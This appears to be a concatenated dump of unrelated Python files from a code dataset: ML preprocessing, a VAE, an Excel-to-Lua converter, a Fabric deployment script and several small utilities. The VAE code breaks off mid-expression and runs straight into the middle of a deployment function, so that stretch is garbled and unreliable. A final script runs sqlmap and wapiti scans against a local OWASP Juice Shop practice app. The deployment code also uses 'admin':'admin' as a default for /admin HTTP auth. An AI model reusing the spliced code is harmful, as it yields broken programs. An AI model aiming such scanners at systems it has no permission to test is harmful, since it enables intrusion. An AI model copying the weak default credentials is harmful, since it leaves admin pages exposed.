self.target_column is None:\n # raise ValueError(\"target_column must be specified.\")\n X = check_array(X)\n check_scalar(self.target_column, \n name='target_column', \n target_type=int,\n min_val=0,\n max_val=X.shape[1]-1)\n # check_scalar(self.label_column, \n # name='target_column', \n # target_type=int,\n # min_val=0,\n # max_val=X.shape[1]-1)\n if self.label_column == self.target_column:\n raise ValueError(\"label_column cannot be equal to target_column.\")\n # Save storm labels \n self.storm_labels_ = X[:,self.label_column] \n \n return self\n \n # IDEA: Let y contain target and get rid of target_column\n def transform(self, X, y=None):\n check_is_fitted(self)\n if self.label_column is None:\n # if self.storm_labels_ is None:\n features = self._transform_one_storm(X)\n else:\n unique_labels = np.unique(self.storm_labels_)\n # Remove label column\n X = np.delete(X, self.label_column, axis=1)\n \n # Get lag features for each storm and combine\n features = np.vstack([self._transform_one_storm(X, i) \n for i in unique_labels])\n features = check_array(features, force_all_finite='allow-nan')\n return features\n \n def _transform_one_storm(self, X, storm_label=None):\n if storm_label is None and self.storm_labels_ is not None:\n raise ValueError(\"storm_label must be specified.\")\n \n idx = np.where(self.storm_labels_ == storm_label)[0]\n y_ = X[idx,self.target_column]\n X_ = np.delete(X[idx,:], self.target_column, axis=1)\n\n # TODO: write my own version\n p = MetaLagFeatureProcessor(X_, y_, self.auto_order, [self.exog_order]*X_.shape[1], [0]*X_.shape[1])\n lagged_features = p.generate_lag_features()\n return lagged_features\n\n def get_storm_labels(self):\n check_is_fitted(self)\n return self.storm_labels_\n\n# IDEA: Put this into GeoMagTSRegressor\nclass TargetProcessor(BaseEstimator, TransformerMixin):\n def __init__(self,\n pred_step=1, storm_labels=None):\n self.pred_step = pred_step\n self.storm_labels = storm_labels\n \n def fit(self, X, y=None):\n return self\n \n def transform(self, X, y=None):\n # check_is_fitted(self)\n if self.storm_labels is None:\n target = self._transform_one_storm(X)\n else:\n unique_labels = np.unique(self.storm_labels)\n target = np.concatenate([self._transform_one_storm(X, i) \n for i in unique_labels])\n target = check_array(target, force_all_finite='allow-nan', ensure_2d=False)\n return target\n \n def _transform_one_storm(self, X, storm_label=None):\n if storm_label is None and self.storm_labels is not None:\n raise ValueError(\"storm_label must be specified.\")\n\n idx = np.where(self.storm_labels == storm_label)[0]\n target = shift(X[idx], -self.pred_step)\n return target\n\n\n","sub_path":"data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":7908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"278677268","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport xlrd\n#import os\n\n#os.chdir('D:\\pythoncode')\nxlsxName = u\"场景配置表.xls\"\nsheetName = \"SCENE_CONF\"\n\n#book = xlrd.open_workbook(from_this_dir('profile.xlsx'), formatting_info=True)\nworkbook = xlrd.open_workbook(xlsxName)\n#xlrd.open_workbook('profile.xlsx',formatting_info=True)\n\ntargetSheet = workbook.sheet_by_name(sheetName)\n\nsheetRows = targetSheet.nrows\nsheetCols = targetSheet.ncols\n#print sheetRows,sheetCols\n\n#经过解析后变成python字典，等待将这个字典转化为luaTable输出\nxlsxDict = {}\n\n#1:变量类型\ntypeRow = 0\n#2:定义变量名字\nnameRow = 1\n#3:策划配置名字\n#4:策划配置名字\n\n#从第五行开始读取数据\nbeginRow = 4\n\ntypeDict = {\n\t\"uint32\" : \"number\",\n\t\"int32\" : \"number\",\n\t\"int64\" : \"string\",\n\t\"uint64\" : \"string\",\n\t\"string\" : \"string\",\n\t\"bool\" : \"bool\",\n}\n\n#解决string编码问题各种疑难杂症\ndef getValue(value):\n\tprint(value)\n\tif(isinstance(value,unicode)):\n\t\treturn value.encode('utf-8')\n\telse:\n\t\treturn str(value)\n\ndef getLogValue(value):\n\tif(isinstance(value,bool) == True):\n\t\tif(value == True):\n\t\t\tvalue = \"true\"\n\t\telse:\n\t\t\tvalue = \"false\"\n\telse:\n\t\tprint(value)\n\t\tif(isinstance(value,unicode)):\n\t\t\tvalue = getValue(value)\n\t\telse:\n\t\t\tvalue = str(value)\n\n\treturn value\n\n#依据配置表中填写的原始类型字符串转化为lua中类型\ndef getLuaType(value):\n\t#获取数据类型\n\tparsedOrignTypeArr = str.split(value,\"|\")\n\tt = parsedOrignTypeArr[len(parsedOrignTypeArr) - 1]\n\t#print(\"get t:\" + t)\n\t#\n\treturn t\n\n#将配置表中读取到的值变成luatable中的值，并返回\n#idx 值所在位置\n#value \ndef valueToLuaType(idx,value):\n\n\tpass\n#t:xlsx中定义的类型\n#name:名字\n#value:值\n#lastName:下一个变量名字\n#通过获取最后一个.号之前的名字确定变量名字\ndef parseValue(t,name,value):\n\tif(value == None or value == \"\"):\n\t\tprint(\"value is none\")\n\t\tvalue = \"none\"\n\tname = name.replace(\"#\",\"\")\n\tprint(\"get name\")\n\tname = getValue(name)\n\tprint(\"get value\")\n\tif(isinstance(value,str)):\n\t\tvalue = getValue(value)\n\tprint(\"show name:\" + name + \"\\n\")\n\tstrList = str.split(name,\".\")\n\tprint(\"show len:\" + str(len(strList)))\n\n\t#如果数据是一个多层字典类型\n\tif(len(strList) > 1):\n\t\tprint(\"is dict\")\n\t\tdef insertDict(parentDict,idx):\n\t\t\tprint(\"insert dict idx:\" + str(idx))\n\t\t\t#print(\"插入字典:\" + strList[idx])\n\t\t\tnextDict = None\n\t\t\tif(parentDict.has_key(strList[idx]) == False):\n\t\t\t\tprint(\"创建新字典:\" + strList[idx])\n\t\t\t\tnextDict = {}\n\t\t\t\tparentDict[strList[idx]] = nextDict\n\t\t\telse:\n\t\t\t\tprint(\"获取已有字典:\" + strList[idx])\n\t\t\t\tnextDict = parentDict[strList[idx]]\n\n\t\t\tnextIdx = idx + 1\n\t\t\tprint(\"nextIdx:\" + str(nextIdx))\n\t\t\t#如果没有超出范围\n\t\t\tif(idx < (len(strList) - 2)):\n\t\t\t\tinsertDict(nextDict ,nextIdx)\n\t\t\telse:\n\t\t\t\tprint(\"插入值:\" + str(strList[nextIdx]) + \",value:\" + getLogValue(value))\n\t\t\t\tnextDict[strList[nextIdx]] = value\n\t\tinsertDict(xlsxDict,0)\n\telse:\n\t\tprint(\"插入值:\" + name + \",value:\" + getLogValue(value))\n\t\txlsxDict[name] = value\n\n#测试逻辑，已经可以构建一个python表\n'''\nparseValue(\"t\",\"scene.localscene.scene_id\",\"test\")\nparseValue(\"t\",\"scene_id\",\"test\")\nparseValue(\"t\",\"id\",1234)\nparseValue(\"t\",\"name\",\"兰斯洛特\")\nparseValue(\"t\",\"isValid\",False)\nparseValue(\"t\",\"pos.x\",1)\nparseValue(\"t\",\"pos.y\",2)\nparseValue(\"t\",\"pos.z\",3)\n\nprint(\"begin test\")\nfor key in xlsxDict.keys():\n print(key)\n'''\n#print(\"展示最终结果:\" + xlsxDict)\n\n#print(\"get target:\" + targetSheet.row_values(1)[0])\n\n#解析每一行配置\ndef parseSheet():\n\t\n\tfor x in range(beginRow,sheetRows):\n\t\tfor y in range(0,sheetCols):\n\t\t\t#获取变量类型\n\t\t\tname = targetSheet.row_values(nameRow)[y]\n\t\t\tvalue = targetSheet.row_values(x)[y]\n\t\t\tparseValue(\"t\",name,value)\n\nparseSheet()\n\n#将python表输出成为lua表，下一步就是存放lua表为lua文件\ndef xlsxDictToLuaFile():\n\t#获取占位符\n\tdef getTab(count):\n\t\tstring = \"\"\n\t\tfor i in range(count):\n\t\t\tstring = string + \"\\t\"\n\t\treturn string\n\t#将字典转成字符串\n\tdef dictToStr(dictionary,tCount):\n\t\tstring = \"\"\n\t\tfor x in dictionary:\n\t\t\tstring = string + getTab(tCount)\n\t\t\t#下一层tab补正\n\t\t\tnextTabCount = tCount + 1\n\t\t\t#如果是其他类型\n\t\t\tif(isinstance(dictionary[x],dict) == False):\n\t\t\t\t#字符串\n\t\t\t\tif(isinstance(dictionary[x],str)):\n\t\t\t\t\tstring = string + x + \" = \" + \"'\" + dictionary[x] + \"'\" + \",\\n\"\n\t\t\t\telif(isinstance(dictionary[x],unicode)):\n\t\t\t\t\tstring = string + x + \" = \" + \"'\" + getValue(dictionary[x]) + \"'\" + \",\\n\"\n\t\t\t\t#布尔\n\t\t\t\telif(isinstance(dictionary[x],bool)):\n\t\t\t\t\tif(dictionary[x] == True):\n\t\t\t\t\t\tstring = string + x + \" = \" + \"true\" + \",\\n\"\n\t\t\t\t\telse:\n\t\t\t\t\t\tstring = string + x + \" = \" + \"false\" + \",\\n\"\n\t\t\t\t#int\n\t\t\t\telse:\n\t\t\t\t\t#print(\"set value:\" + str(dictionary[x]))\n\t\t\t\t\tstring = string + x + \" = \" + str(dictionary[x]) + \",\\n\"\n\t\t\t#如果是字典类型\n\t\t\telse:\n\t\t\t\tstring = string + x + \" = {\\n\" + dictToStr(dictionary[x],nextTabCount) + getTab(tCount) + \"},\\n\"\n\t\treturn string\n\n\tresult = \"config.\" + sheetName + \" = {\\n\"\n\t'''\n\tfor x in xlsxDict:\n\t\tif(isinstance(xlsxDict[x],dict) == False):\n\t\t\tif(isinstance(xlsxDict[x],str)):\n\t\t\t\tresult = result + x + \" = \" + \"'\" + xlsxDict[x] + \"'\" + \",\\n\"\n\t\t\telif(isinstance(xlsxDict[x],bool)):\n\t\t\t\tif(xlsxDict[x] == True):\n\t\t\t\t\tresult = result + x + \" = \" + \"true\" + \",\\n\"\n\t\t\t\telse:\n\t\t\t\t\tresult = result + x + \" = \" + \"false\" + \",\\n\"\n\t\t\telse:\n\t\t\t\tresult = result + x + \" = \" + str(xlsxDict[x]) + \",\\n\"\n\t\telse:\n\t\t\tresult = result + dictToStr(xlsxDict[x])\n\t'''\n\tresult = result + dictToStr(xlsxDict,1)\n\tresult = result + \"}\"\n\n\tprint(\"show result:\\n\" + result)\n\t\t\nxlsxDictToLuaFile()\n\n\nprint(type(xlsxDict))\n\n\ndef saveLuaFile(value):\n\tpass\n\n#for test\n#getT = getLuaType(\"int32\")\n#resultT = typeDict[getT]\n#print resultT\n\n'''\nprint workbook.sheet_names() # [u'sheet1', u'sheet2']\n\nsheetIdx = 0\nfor x in workbook.sheet_names():\n\tprint x\n\tif(x == sheetName):\n\t\tbreak\n\tsheetIdx +=1\nprint(\"sheetIdx:\" + str(sheetIdx))\nsheet1 = workbook.sheet_by_index(sheetIdx)\nsheet1 = workbook.sheet_by_name(\"Sheet1\")\n\nprint(\"begin row\")\nfor rx in range(sheet1.nrows):\n print sheet1.row(rx)[0]\n\n#print sheet1.cell(0,0).value.encode('utf-8')\n#print sheet1.cell(1,1).value.encode('utf-8')\n#print \"test\"\n'''","sub_path":"XlstoLua.py","file_name":"XlstoLua.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"34806054","text":"import os\nfrom util import *\nfrom estimator import *\nimport numpy as np\nimport random\nimport tensorflow as tf\nimport time\nslim = tf.contrib.slim\ntf.reset_default_graph()\n\nbatch, itr, nn = 10, 50, 1\ndim, hd1, hd2 = 784, 400, 200\n\nk = 10\ntau = tf.placeholder(tf.float32)\nlr = tf.placeholder(tf.float32)\nx = tf.placeholder(tf.float32,[batch, dim])\n\ndef nets(estimator, discrete):\n h = slim.fully_connected(x, hd1)\n _z = slim.fully_connected(h, hd2, activation_fn=None)\n z = tf.reshape(_z, [-1,k])\n u = tf.random_uniform(tf.shape(z))\n \n _s = z - tf.log(-tf.log(u))\n s = tf.one_hot(tf.argmax(_s, -1), k) if discrete else tf.nn.softmax(_s/tau)\n s = tf.reshape(s, [-1, hd2])\n\n y = slim.stack(s, slim.fully_connected, [hd1])\n y = slim.stack(y, slim.fully_connected, [dim], activation_fn=None)\n nll = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.tile(x,[nn,1]), logits=y)\n nll = tf.reduce_sum(nll, 1, keepdims=True)\n \n zz = tf.reshape(tf.nn.softmax(tf.reshape(_z,[-1,k])), [bb, hd2])\n kld = tf.reduce_mean(tf.reduce_sum(zz * (tf.log(tf.cast(k,tf.float32)*zz+eps)), 1)) \n elbo = tf.reduce_mean(nll) + kld\n l = estimator(nll, z, s, tau, slim.get_variables(), \n x, nn, k, u, hd2, h) if discrete else 0.\n return elbo, l\n\n\ndef fit_model(filename, steps, _lr, cate, dataset, sta):\n data_train, data_val, data_test = bomniglot(sta) if dataset=='OMNIGLOT' else bmnist(sta)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer()) \n saver = tf.train.Saver()\n directory = 'VAE/'+dataset+'/'+str(cate)+'/'+filename\n rec_ls = np.empty([3, steps*10])\n\n t = 1.\n for i in xrange(steps*1000):\n batch_ = np.reshape(random.sample(data_train, batch), [batch,-1])\n if not sta:\n batch_ = (np.random.uniform(0.,1.,[batch,dim]) 3 and env.environment == 'test' else app.workers\n with_blog = with_blog if with_blog is not None else app.with_blog\n\n if env.environment != 'staging':\n # Test and production instances are publicly accessible over HTTPS.\n letsencrypt.require_certbot()\n letsencrypt.require_cert(env.host)\n if env.environment == 'production':\n letsencrypt.require_cert(app)\n\n ctx = template_context(app, workers=workers, with_blog=with_blog)\n\n if app.stack == 'soundcomparisons': # pragma: no cover\n require.git.working_copy(\n 'https://github.com/{0}/{1}.git'.format(app.github_org, app.github_repos),\n path=str(app.home_dir / app.name),\n use_sudo=True,\n user=app.name)\n require_bower(app, d=app.home_dir / app.name / 'site' / 'js')\n require_grunt(app, d=app.home_dir / app.name / 'site' / 'js')\n require_php(app)\n require_mysql(app)\n\n with shell_env(SYSTEMD_PAGER=''):\n require.nginx.server()\n\n sudo_upload_template('nginx-php-fpm-app.conf', str(app.nginx_site), app=app, env=env)\n nginx.enable(app.name)\n if env.environment == 'production':\n # We only enable systemd services when deploying to production, because we don't want\n # to start and run things like backup to CDSTAR from non-production systems.\n systemd.enable(app, pathlib.Path(os.getcwd()) / 'systemd')\n service.reload('nginx')\n return\n\n #\n # Create a virtualenv for the app and install the app package in development mode, i.e. with\n # repository working copy in /usr/venvs//src\n #\n require_venv(\n app.venv_dir,\n require_packages=[app.app_pkg] + app.require_pip,\n assets_name=app.name if app.stack == 'clld' else None)\n\n #\n # If some of the static assets are managed via bower, update them.\n #\n require_bower(app)\n require_grunt(app)\n\n require_nginx(ctx)\n\n if app.stack == 'clld':\n require_bibutils()\n\n require_postgres(app)\n\n require_config(app.config, app, ctx)\n\n # if gunicorn runs, make it gracefully reload the app by sending HUP\n # TODO: consider 'supervisorctl signal HUP $name' instead (xenial+)\n sudo('( [ -f {0} ] && kill -0 $(cat {0}) 2> /dev/null '\n '&& kill -HUP $(cat {0}) ) || echo no reload '.format(app.gunicorn_pid))\n\n if not with_alembic and confirm('Recreate database?', default=False):\n stop.execute_inner(app)\n upload_sqldump(app)\n elif exists(str(app.src_dir / 'alembic.ini')) and confirm('Upgrade database?', default=False):\n # Note: stopping the app is not strictly necessary, because\n # the alembic revisions run in separate transactions!\n stop.execute_inner(app, maintenance_hours=app.deploy_duration)\n alembic_upgrade_head(app, ctx)\n\n pip_freeze(app)\n\n start.execute_inner(app)\n check(app)\n if env.environment == 'production':\n systemd.enable(app, pathlib.Path(os.getcwd()) / 'systemd')\n\n\ndef require_php(app): # pragma: no cover\n require.deb.package('php-fpm')\n sed('/etc/php/7.0/fpm/php.ini',\n 'variables_order = \"GPCS\"',\n 'variables_order = \"EGPCS\"', use_sudo=True)\n sudo_upload_template(\n 'php-fpm-www.conf',\n '/etc/php/7.0/fpm/pool.d/www{0}.conf'.format(app.name),\n app=app,\n )\n sudo('systemctl restart php7.0-fpm.service')\n\n\ndef require_mysql(app): # pragma: no cover\n if not deb.is_installed('mariadb-server'):\n require.deb.packages(['mariadb-server', 'mariadb-client', 'php-mysql'])\n\n require.mysql.user(app.name, app.name)\n require.mysql.database(app.name, owner=app.name)\n\n if confirm('Recreate database?', default=False):\n upload_sqldump(app)\n\n\ndef require_bower(app, d=None):\n d = d or app.static_dir\n if exists(str(d / 'bower.json')):\n require.deb.packages(['npm', 'nodejs-legacy'])\n sudo('npm install -g bower@1.8.4')\n with cd(str(d)):\n sudo('bower --allow-root install')\n\n\ndef require_grunt(app, d=None):\n d = d or app.static_dir\n if exists(str(d / 'Gruntfile.js')):\n require.deb.packages(['npm', 'nodejs-legacy'])\n sudo('npm install -g grunt-cli@1.2.0')\n with cd(str(d)):\n sudo('npm install')\n sudo('grunt')\n\n\ndef require_bibutils(executable='/usr/local/bin/bib2xml',\n url='https://sourceforge.net/projects/bibutils/files/'\n 'bibutils_6.2_src.tgz/download'):\n if not exists(executable):\n tgz = url.partition('/download')[0].rpartition('/')[2]\n tdir = tgz.partition('_src.tgz')[0]\n with cd('/tmp'):\n require.file(tgz, url=url, mode='')\n run('tar xzf %s' % tgz)\n with cd(tdir):\n run('./configure')\n run('make')\n sudo('make install')\n\n\ndef require_postgres(app, drop=False):\n if drop:\n with cd('/var/lib/postgresql'):\n sudo('dropdb %s' % app.name, user='postgres')\n\n with shell_env(SYSTEMD_PAGER=''):\n require.postgres.server()\n require.postgres.user(app.name, password=app.name)\n require.postgres.database(app.name, owner=app.name)\n\n if app.pg_unaccent:\n sql = 'CREATE EXTENSION IF NOT EXISTS unaccent WITH SCHEMA public;'\n sudo('psql -c \"%s\" -d %s' % (sql, app.name), user='postgres')\n\n if app.pg_collkey:\n pg_dir, = run('find /usr/lib/postgresql/ -mindepth 1 -maxdepth 1 -type d').splitlines()\n pg_version = pathlib.PurePosixPath(pg_dir).name\n if not exists('/usr/lib/postgresql/%s/lib/collkey_icu.so' % pg_version):\n require.deb.packages(['postgresql-server-dev-%s' % pg_version, 'libicu-dev'])\n with cd('/tmp'):\n sudo_upload_template('pg_collkey.Makefile', dest='Makefile', pg_version=pg_version)\n require.file('collkey_icu.c', source=str(PG_COLLKEY_DIR / 'collkey_icu.c'))\n run('make')\n sudo('make install')\n with cd('/tmp'):\n require.file('collkey_icu.sql', source=str(PG_COLLKEY_DIR / 'collkey_icu.sql'))\n sudo('psql -f collkey_icu.sql -d %s' % app.name, user='postgres')\n\n\ndef require_config(filepath, app, ctx):\n # We only set add a setting clld.files, if the corresponding directory exists;\n # otherwise the app would throw an error on startup.\n files_dir = app.www_dir / 'files'\n files = files_dir if exists(str(files_dir)) else None\n sudo_upload_template('config.ini', dest=str(filepath), context=ctx, files=files)\n\n if app.stack == 'django' and confirm('Recreate secret key?', default=True):\n key_chars = \"abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)\"\n secret_key = \"\".join([random.choice(key_chars) for i in range(50)])\n require.file(\n str(filepath.parent / 'secret_key'), contents=secret_key, use_sudo=True, mode='644')\n\n\ndef require_venv(directory, require_packages=None, assets_name=None, requirements=None):\n require.directory(str(directory), use_sudo=True)\n\n with settings(sudo_prefix=env.sudo_prefix + ' -H'): # set HOME for pip log/cache\n require.python.virtualenv(str(directory), venv_python='python3', use_sudo=True)\n\n with python.virtualenv(str(directory)):\n if require_packages:\n require.python.packages(require_packages, use_sudo=True)\n if requirements:\n require.python.requirements(requirements, use_sudo=True)\n if assets_name:\n sudo('webassets -m %s.assets build' % assets_name)\n\n\ndef require_logging(log_dir, logrotate, access_log, error_log):\n require.directory(str(log_dir), use_sudo=True)\n\n if env.environment == 'production':\n sudo_upload_template('logrotate.conf', dest=str(logrotate),\n access_log=access_log, error_log=error_log)\n\n\ndef require_nginx(ctx):\n app = ctx['app']\n\n with shell_env(SYSTEMD_PAGER=''):\n require.nginx.server()\n\n auth, admin_auth = http_auth(app)\n\n # TODO: consider require.nginx.site\n upload_app = functools.partial(\n sudo_upload_template,\n 'nginx-app.conf',\n context=ctx,\n clld_dir=get_clld_dir(app.venv_dir) if app.stack == 'clld' else '',\n auth=auth,\n admin_auth=admin_auth)\n\n sudo_upload_template('nginx-default.conf', dest=str(app.nginx_default_site), env=env)\n if env.environment != 'test':\n upload_app(dest=str(app.nginx_site))\n nginx.enable(app.nginx_site.name)\n else: # test environment\n require.directory(str(app.nginx_location.parent), use_sudo=True)\n upload_app(dest=str(app.nginx_location))\n\n\ndef get_clld_dir(venv_dir):\n # /usr/venvs//local/lib/python/site-packages/clld/__init__.pyc\n with python.virtualenv(str(venv_dir)):\n stdout = sudo('python -c \"import clld; print(clld.__file__)\"')\n clld_path = pathlib.PurePosixPath(stdout.split()[-1])\n return clld_path.parent\n\n\ndef http_auth(app):\n pwds = {\n app.name: None, # Require no HTTP authentication by default in production.\n 'admin': 'admin' # For the /admin path, require trivial HTTP auth by default.\n }\n if not (app.public and env.environment == 'production'):\n # Non-public or test sites:\n pwds[app.name] = helpers.getpwd(app.name)\n if app.with_admin:\n pwds['admin'] = helpers.getpwd('admin')\n\n require.directory(str(app.nginx_htpasswd.parent), use_sudo=True)\n pairs = [(u, p) for u, p in pwds.items() if p]\n for opts, pairs in [('-bdc', pairs[:1]), ('-bd', pairs[1:])]:\n for u, p in pairs:\n sudo('htpasswd %s %s %s %s' % (opts, app.nginx_htpasswd, u, p))\n\n auth = ('proxy_set_header Authorization $http_authorization;\\n'\n 'proxy_pass_header Authorization;\\n'\n 'auth_basic \"%s\";\\n'\n 'auth_basic_user_file %s;\\n' % (app.name, app.nginx_htpasswd))\n return auth if pwds[app.name] else '', auth\n\n\ndef upload_sqldump(app):\n if app.dbdump:\n if re.match('http(s)?://', app.dbdump):\n fname = 'dump.sql.gz'\n url = app.dbdump\n auth = ''\n else:\n latest = cdstar.get_latest_bitstream(app.dbdump)\n fname, url = latest.name, latest.url\n auth = '-u\"{0}:{1}\" '.format(os.environ['CDSTAR_USER_BACKUP'], os.environ['CDSTAR_PWD_BACKUP'])\n target = pathlib.PurePosixPath('/tmp') / fname\n run('curl -s -o {0} {1} {2}'.format(target, auth, url))\n else:\n db_name = prompt('Replace with dump of local database:', default=app.name)\n sqldump = pathlib.Path(tempfile.mktemp(suffix='.sql.gz', prefix='%s-' % db_name))\n target = pathlib.PurePosixPath('/tmp') / sqldump.name\n\n db_user = '-U postgres ' if PLATFORM == 'windows' else ''\n local('pg_dump %s--no-owner --no-acl -Z 9 -f %s %s' % (db_user, sqldump, db_name))\n\n require.file(str(target), source=str(sqldump))\n sqldump.unlink()\n\n if app.stack == 'soundcomparisons':\n sudo('echo \"drop database {0};\" | mysql'.format(app.name))\n require.mysql.database(app.name, owner=app.name)\n sudo('gunzip -c {0} | mysql -u {1} --password={1} -D {1}'.format(target, app.name), user=app.name)\n else:\n # TODO: assert supervisor.process_status(app.name) != 'RUNNING'\n if postgres.database_exists(app.name):\n require_postgres(app, drop=True)\n\n sudo('gunzip -c %s | psql -d %s' % (target, app.name), user=app.name)\n sudo('vacuumdb -zf %s' % app.name, user='postgres')\n files.remove(str(target))\n\n\ndef alembic_upgrade_head(app, ctx):\n with python.virtualenv(str(app.venv_dir)), cd(str(app.src_dir)):\n sudo('%s -n production upgrade head' % (app.alembic), user=app.name)\n\n if confirm('Vacuum database?', default=False):\n flag = '-f ' if confirm('VACUUM FULL?', default=False) else ''\n sudo('vacuumdb %s-z -d %s' % (flag, app.name), user='postgres')\n","sub_path":"appconfig/tasks/deployment.py","file_name":"deployment.py","file_ext":"py","file_size_in_byte":18994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"172117511","text":"\nfile = open(\"testImage.txt\",\"w\") \nresultTest = \"res-\"\n\nimageNum = 1\nfor s in range(10,111):\n resultNum = s\n resultId = resultTest + (str(resultNum)) \n imageUrl = '/image' + str(imageNum) + '.jpg'\n#print imageUrl\n file.write(\"Insert into scanResult\" + \" \" + \"values ('\"+resultId+\"',\" + \" '\" + imageUrl +\"');\\n\")\n if imageNum <11:\n imageNum+=1\n else: imageNum = 1\n #print imageUrl\n#file.write(\"Insert into scanResult\" + \" \" + \"values ('\"+resultId+\"', '\"+blob_value+\"');\\n\")\nfile.close()","sub_path":"scanResult.py","file_name":"scanResult.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"643821505","text":"## -*- coding: utf-8 -*-\n##----------------------------------------------------------------------\n## VRF Cache\n##----------------------------------------------------------------------\n## Copyright (C) 2007-2012 The NOC Project\n## See LICENSE for details\n##----------------------------------------------------------------------\n\n## Python modules\nimport logging\n## NOC modules\nfrom noc.ip.models.vrf import VRF\n\n\nclass VRFCache(object):\n def __init__(self):\n self.cache_vrf_by_rd = {}\n self.cache_vrf_by_name = {}\n\n def info(self, object, msg):\n logging.info(\"[VRF Cache] %s: %s\" % (object.name, msg))\n\n def get_or_create(self, object, name, rd):\n \"\"\"\n :param object:\n :param name:\n :param rd:\n :return:\n \"\"\"\n def set_cache(vrf):\n self.cache_vrf_by_rd[vrf.rd] = vrf\n self.cache_vrf_by_name[vrf.name] = vrf\n return vrf\n\n if name == \"default\":\n if object.vrf:\n # Use object's VRF is set\n return object.vrf\n # Get default VRF\n try:\n return self.cache_vrf_by_name[\"default\"]\n except KeyError:\n return set_cache(VRF.get_global())\n # Non-default VRF\n if not rd:\n rd = VRF.generate_rd(name)\n # Lookup RD cache\n try:\n return self.cache_vrf_by_rd[rd]\n except KeyError:\n pass\n # Lookup database\n try:\n return set_cache(VRF.objects.get(rd=rd))\n except VRF.DoesNotExist:\n pass\n # VRF Not found, create\n # Generate unique VRF in case of names clash\n vrf_name = name\n if VRF.objects.filter(name=vrf_name).exists():\n # Name clash, generate new name by appending RD\n vrf_name += \"_%s\" % rd\n self.info(object,\n \"Conflicting names for VRF %s. Using fallback name %s\" % (name, vrf_name))\n # Create VRF\n vrf = VRF(name=vrf_name,\n rd=rd,\n vrf_group=VRF.get_global().vrf_group\n )\n vrf.save()\n return set_cache(vrf)\n\n##\n## Global VRF Cache instance\n##\nvrf_cache = VRFCache()\n","sub_path":"inv/discovery/caches/vrf.py","file_name":"vrf.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"52260996","text":"# basket/context.py\n\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\nfrom products.models import Product\n\ndef basket_contents(request):\n \"\"\" Context processor for shopping basket. \"\"\"\n\n basket_items_list = []\n total_value = 0\n item_count = 0\n unit_price = 0.00\n line_value = 0.00\n\n basket = request.session.get('basket', {})\n\n for item_id, quantity in basket.items():\n product = get_object_or_404(Product, pk=item_id)\n unit_price = product.item_id.unitcost * (1 + product.salesmargin)\n line_value = quantity * unit_price\n total_value += line_value\n item_count += quantity\n basket_items_list.append({\n 'item_id': item_id,\n 'quantity': quantity,\n 'product': product,\n 'unit_price': unit_price,\n 'line_value': line_value,\n })\n\n context = {\n \"basket_items_list\": basket_items_list,\n \"total_value\": total_value,\n \"item_count\": item_count,\n \"delivery_cost\": \"TBA\",\n \"grand_total\": \"TBA\",\n }\n\n return context\n","sub_path":"basket/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"105148983","text":"import pkg_resources\nfrom pyramid.settings import asbool\nfrom kinto_attachment.views import attachments_ping\n\n#: Module version, as defined in PEP-0396.\n__version__ = pkg_resources.get_distribution(__package__).version\n\n\ndef includeme(config):\n # Process settings to remove storage wording.\n settings = config.get_settings()\n\n storage_settings = {}\n for k, v in settings.items():\n if k.startswith('attachment.'):\n k = k.replace('attachment.', 'storage.')\n storage_settings[k] = v\n\n # Force some pyramid_storage settings.\n storage_settings['storage.name'] = 'attachment'\n storage_settings.setdefault('storage.extensions', 'any')\n config.add_settings(storage_settings)\n\n # It may be useful to define an additional base_url setting.\n # (see workaround about relative base_url in README)\n extra_base_url = settings.get('attachment.extra.base_url',\n settings.get('attachment.base_url'))\n gzipped = asbool(settings.get('attachment.gzipped', False))\n # # Expose capability.\n config.add_api_capability(\"attachments\",\n version=__version__,\n description=\"Add file attachments to records\",\n url=\"https://github.com/Kinto/kinto-attachment/\",\n gzipped=gzipped,\n base_url=extra_base_url)\n\n # Register heartbeat to check attachments storage.\n config.registry.heartbeats['attachments'] = attachments_ping\n\n # Enable attachment backend.\n if 'storage.base_path' in storage_settings:\n config.include('pyramid_storage.local')\n else:\n config.include('pyramid_storage.s3')\n\n config.scan('kinto_attachment.views')\n config.scan('kinto_attachment.listeners')\n","sub_path":"kinto_attachment/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"315302284","text":"#!/usr/bin/python3\n\nimport subprocess\nimport os\nimport time\n\n#change to htcap directory\nos.chdir('./../../../htcap')\nos.chdir('core/nodejs')\nsubprocess.call(\"npm i\", shell=True)\nos.chdir('../../')\n\n#easy way to change spider run time in seconds - e.g. (3 hours = 10800)\nSPIDERTIME = 10800\n\n#start timer\nstart1 = time.time()\n\n#form the command\ncrawl = \"./htcap.py crawl -w -t %d -x http://localhost:3000/redirect. -L login.json localhost:3000 htcap_juiceshop_report.db\" % SPIDERTIME\n\n#crawl - native+sqlmap+wapiti\nsubprocess.call(crawl, shell=True)\n\n#calculate crawl time\nend1 = time.time()\ntotal1 = round(((end1-start1)/60), 2)\n\n#start timer\nstart2 = time.time()\n\n#scan with native, wapiti and sqlmap\nscan = \"./htcap.py scan native htcap_juiceshop_report.db \\; scan wapiti htcap_juiceshop_report.db \\; scan sqlmap htcap_juiceshop_report.db\"\nsubprocess.call(scan, shell=True)\n\n#end timer\nend2 = time.time()\ntotal2 = round(((end2-start2)/60), 2)\n\n#gen report\nreport = \"./htcap.py util report htcap_juiceshop_report.db htcap_juiceshop_report.html\"\nsubprocess.call(report, shell=True)\n\n#move the report to the report folder\nsubprocess.call('mv 